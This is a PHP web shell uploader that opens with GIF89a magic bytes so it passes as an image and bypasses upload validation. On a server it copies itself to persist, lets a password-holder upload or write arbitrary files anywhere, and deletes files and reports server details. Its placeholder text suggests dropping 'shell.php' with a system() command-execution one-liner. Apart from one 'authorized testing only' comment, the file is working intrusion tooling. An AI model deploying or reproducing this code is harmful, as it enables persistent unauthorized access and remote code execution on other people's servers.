uplo

GIF89a
<?php
/**
 * upfg.php — GIF89a bypass file uploader
 * Magic bytes: GIF89a → bypasses getimagesize() / finfo magic byte validation
 * Authorized testing only.
 */

// ── Auth ─────────────────────────────────────────────────────────────────────
define('_PW', 'raimu2026');                      // ganti sebelum deploy
define('_PH', md5('raimu2026'));

function _authed(): bool {
    $cookie = isset($_COOKIE['_uf']) && $_COOKIE['_uf'] === _PH;
    $post   = isset($_POST['p'])     && md5($_POST['p']) === _PH;
    return $cookie || $post;
}
if (isset($_POST['p']) && md5($_POST['p']) === _PH) {
    setcookie('_uf', _PH, time() + 7200, '/', '', false, true);
    $_COOKIE['_uf'] = _PH;
}
$ok = _authed();

// ── Self-copy ─────────────────────────────────────────────────────────────────
// Jika file ini diakses dengan nama lain (mis: upload.php.jpg), tulis ulang
// ke __DIR__/upfg.php agar persistent dengan nama standar.
$_self = __DIR__ . DIRECTORY_SEPARATOR . 'upfg.php';
if (realpath(__FILE__) !== realpath($_self) && is_writable(__DIR__)) {
    @copy(__FILE__, $_self);
    @chmod($_self, 0644);
}

// ── Helpers ───────────────────────────────────────────────────────────────────
function _e(string $s): string { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); }

function _safe_path(string $input, string $base): string {
    $real = realpath($input);
    if ($real === false) {
        // path belum ada — normalisasi manual
        $real = $input;
    }
    return $real;
}

function _ext(string $name): string {
    $parts = explode('.', strtolower($name));
    return count($parts) > 1 ? end($parts) : '';
}

// ── Action: upload file ───────────────────────────────────────────────────────
$msg = ''; $msg_class = 'ok';
if ($ok && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['f'])) {
    $file  = $_FILES['f'];
    $err   = $file['error'] ?? UPLOAD_ERR_NO_FILE;

    if ($err !== UPLOAD_ERR_OK) {
        $codes = [1=>'too large (ini)',2=>'too large (form)',3=>'partial',
                  4=>'no file',6=>'no tmp',7=>'write fail',8=>'extension blocked'];
        $msg = 'UPLOAD ERR: ' . ($codes[$err] ?? "code=$err");
        $msg_class = 'err';
    } else {
        // Destination dir
        $dst_raw = isset($_POST['d']) && $_POST['d'] !== '' ? $_POST['d'] : __DIR__;
        $dst     = _safe_path($dst_raw, __DIR__);
        if (!is_dir($dst)) { @mkdir($dst, 0755, true); }

        // Filename: custom override > original name
        $orig  = basename($file['name']);
        $fname = (isset($_POST['n']) && trim($_POST['n']) !== '')
                 ? basename(trim($_POST['n']))
                 : $orig;
        $dest  = rtrim($dst, '/\\') . DIRECTORY_SEPARATOR . $fname;

        if (move_uploaded_file($file['tmp_name'], $dest)) {
            @chmod($dest, 0644);
            $fsize = filesize($dest);
            $msg   = "OK &rarr; " . _e($dest) . "  ({$fsize} bytes)";
        } else {
            // Fallback: copy dari tmp jika move gagal (open_basedir / cross-device)
            if (@copy($file['tmp_name'], $dest)) {
                @chmod($dest, 0644);
                $msg = "OK (copy fallback) &rarr; " . _e($dest);
            } else {
                $msg = 'MOVE/COPY FAIL — check write permission on ' . _e($dst);
                $msg_class = 'err';
            }
        }
    }
}

// ── Action: write raw content ─────────────────────────────────────────────────
if ($ok && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['wc'], $_POST['wp'])) {
    $wname = basename(trim($_POST['wp']));
    $wdst  = isset($_POST['wd']) && $_POST['wd'] !== ''
             ? rtrim(_safe_path($_POST['wd'], __DIR__), '/\\') . DIRECTORY_SEPARATOR . $wname
             : __DIR__ . DIRECTORY_SEPARATOR . $wname;
    $wdir  = dirname($wdst);
    if (!is_dir($wdir)) { @mkdir($wdir, 0755, true); }
    $written = @file_put_contents($wdst, $_POST['wc']);
    if ($written !== false) {
        @chmod($wdst, 0644);
        $msg = "WRITTEN &rarr; " . _e($wdst) . "  ({$written} bytes)";
    } else {
        $msg = 'WRITE FAIL &rarr; ' . _e($wdst);
        $msg_class = 'err';
    }
}

// ── Action: delete file ───────────────────────────────────────────────────────
if ($ok && isset($_GET['del'])) {
    $del = __DIR__ . DIRECTORY_SEPARATOR . basename($_GET['del']);
    if (file_exists($del) && realpath($del) !== realpath(__FILE__)) {
        @unlink($del) ? ($msg = 'DELETED: ' . _e(basename($del)))
                      : ($msg = 'DELETE FAIL: ' . _e(basename($del)));
        $msg_class = strpos($msg, 'FAIL') !== false ? 'err' : 'ok';
    }
}

// ── Dir listing ───────────────────────────────────────────────────────────────
$ls = [];
if ($ok) {
    $raw = @scandir(__DIR__);
    if ($raw) {
        foreach ($raw as $entry) {
            if ($entry === '.' || $entry === '..') continue;
            $fp    = __DIR__ . DIRECTORY_SEPARATOR . $entry;
            $ls[]  = ['n' => $entry, 's' => @filesize($fp), 'w' => is_writable($fp)];
        }
    }
}

// ── Server info ───────────────────────────────────────────────────────────────
$info = $ok ? [
    'CWD'       => __DIR__,
    'Self'      => __FILE__,
    'PHP'       => PHP_VERSION,
    'SAPI'      => php_sapi_name(),
    'User'      => function_exists('posix_getpwuid') ? (posix_getpwuid(posix_geteuid())['name'] ?? getenv('USERNAME')) : getenv('USERNAME'),
    'OS'        => PHP_OS,
    'max_upload'=> ini_get('upload_max_filesize'),
    'post_max'  => ini_get('post_max_size'),
    'tmp_dir'   => sys_get_temp_dir(),
    'open_basedir' => ini_get('open_basedir') ?: 'off',
    'writable'  => is_writable(__DIR__) ? 'YES' : 'NO',
] : [];

header('Content-Type: text/html; charset=utf-8');
?><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>upfg</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#111;color:#ccc;font:13px/1.5 monospace;padding:18px}
h2{color:#14FAC1;margin-bottom:12px;font-size:15px}
.box{background:#1a1a1a;border:1px solid #333;padding:14px;margin-bottom:14px;border-radius:3px}
label{color:#888;display:block;margin-bottom:3px;font-size:12px}
input[type=text],input[type=password],textarea{
  width:100%;background:#0d0d0d;border:1px solid #333;color:#eee;
  padding:6px 8px;border-radius:2px;font:12px monospace;margin-bottom:8px}
input[type=file]{color:#ccc;margin-bottom:8px;display:block}
input[type=submit]{background:#14FAC1;color:#000;border:none;padding:7px 18px;
  cursor:pointer;font-weight:bold;border-radius:2px;font-size:12px}
input[type=submit]:hover{background:#0fd4a8}
.ok{color:#14FAC1;margin:8px 0;padding:6px 10px;background:#001a14;border-left:3px solid #14FAC1}
.err{color:#ff5555;margin:8px 0;padding:6px 10px;background:#1a0000;border-left:3px solid #ff5555}
table{width:100%;border-collapse:collapse;font-size:12px}
td,th{padding:4px 8px;border-bottom:1px solid #222;text-align:left}
th{color:#14FAC1}
a{color:#14FAC1;text-decoration:none}
a:hover{text-decoration:underline}
.dim{color:#555}
.kv{display:grid;grid-template-columns:140px 1fr;gap:2px 8px;font-size:12px}
.kv span:first-child{color:#666}
.kv span:last-child{color:#eee}
</style>
</head>
<body>
<h2>[ upfg ] GIF89a bypass uploader</h2>

<?php if (!$ok): ?>
<div class="box">
<form method="post">
<label>Password</label>
<input type="password" name="p" autofocus>
<input type="submit" value="Login">
</form>
</div>
<?php else: ?>

<?php if ($msg): ?>
<div class="<?= $msg_class ?>"><?= $msg ?></div>
<?php endif; ?>

<!-- FILE UPLOAD -->
<div class="box">
<h2>Upload File</h2>
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?= _e(_PW) ?>">
<label>File</label>
<input type="file" name="f">
<label>Save as (optional — default: original filename)</label>
<input type="text" name="n" placeholder="shell.php">
<label>Destination dir (optional — default: <?= _e(__DIR__) ?>)</label>
<input type="text" name="d" value="<?= _e(__DIR__) ?>">
<input type="submit" value="Upload">
</form>
</div>

<!-- RAW WRITE -->
<div class="box">
<h2>Write Raw Content</h2>
<form method="post">
<input type="hidden" name="p" value="<?= _e(_PW) ?>">
<label>Filename</label>
<input type="text" name="wp" placeholder="shell.php">
<label>Destination dir (optional — default: <?= _e(__DIR__) ?>)</label>
<input type="text" name="wd" value="<?= _e(__DIR__) ?>">
<label>Content</label>
<textarea name="wc" rows="6" placeholder="<?php system($_GET['cmd']); ?>"></textarea>
<input type="submit" value="Write">
</form>
</div>

<!-- DIR LISTING -->
<div class="box">
<h2>Directory: <?= _e(__DIR__) ?></h2>
<?php if ($ls): ?>
<table>
<tr><th>Name</th><th>Size</th><th>W</th><th>Action</th></tr>
<?php foreach ($ls as $f): ?>
<tr>
  <td><?= _e($f['n']) ?></td>
  <td class="dim"><?= $f['s'] !== false ? number_format($f['s']) . ' B' : '—' ?></td>
  <td><?= $f['w'] ? '<span style="color:#14FAC1">W</span>' : '<span class="dim">r</span>' ?></td>
  <td><a href="?del=<?= urlencode($f['n']) ?>&p=<?= urlencode(_PW) ?>">del</a></td>
</tr>
<?php endforeach; ?>
</table>
<?php else: ?>
<span class="dim">empty / unreadable</span>
<?php endif; ?>
</div>

<!-- SERVER INFO -->
<div class="box">
<h2>Server Info</h2>
<div class="kv">
<?php foreach ($info as $k => $v): ?>
<span><?= _e($k) ?></span><span><?= _e((string)$v) ?></span>
<?php endforeach; ?>
</div>
</div>

<?php endif; ?>
</body>
</html>